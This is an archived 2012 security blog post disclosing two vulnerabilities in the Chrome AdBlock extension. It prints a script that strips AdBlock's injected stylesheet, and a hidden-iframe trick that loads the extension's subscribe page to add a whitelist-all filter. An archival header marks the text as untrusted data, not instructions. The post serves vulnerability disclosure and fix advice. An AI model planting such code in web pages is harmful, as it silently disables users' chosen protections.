Chrome addons hacking: Bye Bye AdBlock filters!

Chrome addons hacking: Bye Bye AdBlock filters! - Author not stated, blog.kotowicz.net.

- Published: date not stated
- Original: <https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html>
- Current location: <https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html>
- Preserved from: https://web.archive.org/web/20171001104006/http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html (live) on 2026-08-09
- Capture timestamp: 20170903113359
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

[[image: image]](https://web.archive.org/web/20171001104006/http://2.bp.blogspot.com/-OYUwK93L-6o/T3MNsBLxtgI/AAAAAAAAFKI/49w70ahzRjc/s1600/icon128.png)

Continuing the Chrome extension hacking (see part 1 and 2), this time I'd like to draw you attention to the oh-so-popular AdBlock extension. It has **over a million users**, is being actively maintained and is a piece of a great software (heck, even I use it!). However - due to how Chrome extensions work in general it is still **relatively easy to bypass** it and display some ads. Let me describe two distinct vulnerabilities I've discovered. They are both exploitable in the newest 2.5.22 version.

**tl;dr: **Chrome AdBlock 2.5.22 bypasses, demo here and here, but I'd advise you to read on.

Preparation

If you want to analyze the extension code yourself, use my download script to fetch the addon from Chrome Web Store and read on:

```
// you need PHP with openssl extension and command line unzip for this
$ mkdir addons
$ php download.php gighmmpiobklfepjocnamgkkbiglidom AdBlock
```

Of course, you don't need to, but if you won't it makes me sad :/

Small bypass - disabling filter injection

Like many Chrome extensions, AdBlock alters the content of the webpages you see by modifying a page DOM. For example, it injects a <link rel=stylesheet> that hides all ads with CSS. This all happens in adblock_start_common.js:

```
function block_list_via_css(selectors) {
  var d = document.head || document.documentElement;
//....
  // Issue 6480: inserting a <style> tag too quickly made it be ignored.
  // Use ABP's approach: a <link> tag that we can check for .sheet.
  var css_chunk = document.createElement("link");
  css_chunk.type = "text/css";
  css_chunk.rel = "stylesheet";
  css_chunk.href = "data:text/css,";
  d.insertBefore(css_chunk, null);
// ... and fill the node contents later on
```

Sweet & cool, right? But the problem is websites have tons of ways to defend themselves from being altered. After all, it's *their* DOM you're messing with. So, the easiest bypass would be to listen for anyone adding a stylesheet and removing it.

```
function block(node) {
  if (   (node.nodeName == 'LINK' && node.href == 'data:text/css,') // new style
      || (node.nodeName == 'STYLE' && node.innerText.match(/^\/\*This block of style rules is inserted by AdBlock/)) //
      ) {
      node.parentElement.removeChild(node);
  }

}
document.addEventListener("DOMContentLoaded", function() {
  document.addEventListener('DOMNodeInserted', function(e) {
  // disable blocking styles inserted by AdBlock
  block(e.target);
  }, false);

}, false);
```

In the effect the stylesheet is removed and the ads are not hidden anymore. **See in the demo**. This is similar to how many Chrome extensions work. Extension authors should remember that **you can't rely on page DOM to be cool with you, it can actively prevent modification. **In other words, it's not your backyard, behave.

Total bypass - Disable AdBlock for good

The previous one was a kid's play, but the real deal is here. Any website can detect if you're using Chrome AdBlock and disable it completely for the future. It is possible thanks to a vulnerability in a filter subscription page. Subscription code works by launching chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages/subscribe.html page. Here's what happens:

```
// pages/subscribe.js
 //Get the URL
 var queryparts = parseUri.parseSearch(document.location.search);
 ...
 //Subscribe to a list
 var requiresList = queryparts.requiresLocation ?
    "url:" + queryparts.requiresLocation : undefined;
 BGcall("subscribe",
    {id: 'url:' + queryparts.location, requires:requiresList});
```

First, the query string for the page is parsed and than a subscription request is sent to extension background page getting the location parameter. So, when extension launches subscribe.html?location=http://example.com this will subscribe to a filter from URL http://example.com.

All neat, but what extension authors don't know, **standard web pages page can load your extension resources too**. In the future, extension authors can limit this by using web_accessible_resources, but for Current Chrome 17 it's not possible.

So, what is the easiest way to disable Chrome AdBlock? Make it subscribe to a whitelist-all list:

```
<iframe style="position:absolute;left:-1000px;" id="abp" src=""></iframe>
//...
document.getElementById('abp').src = 'chrome-extension://'+addon_id + '/pages/subscribe.html?location=' + location.h
```

**See for yourself in the demo.* * To reenable AdBlock functionality go to extension settings, choose the filter list tab and disable the last added filter (koto.github.com one).

How to fix this in the code? **Don't rely on the URL of your extension resource to perform some action.**
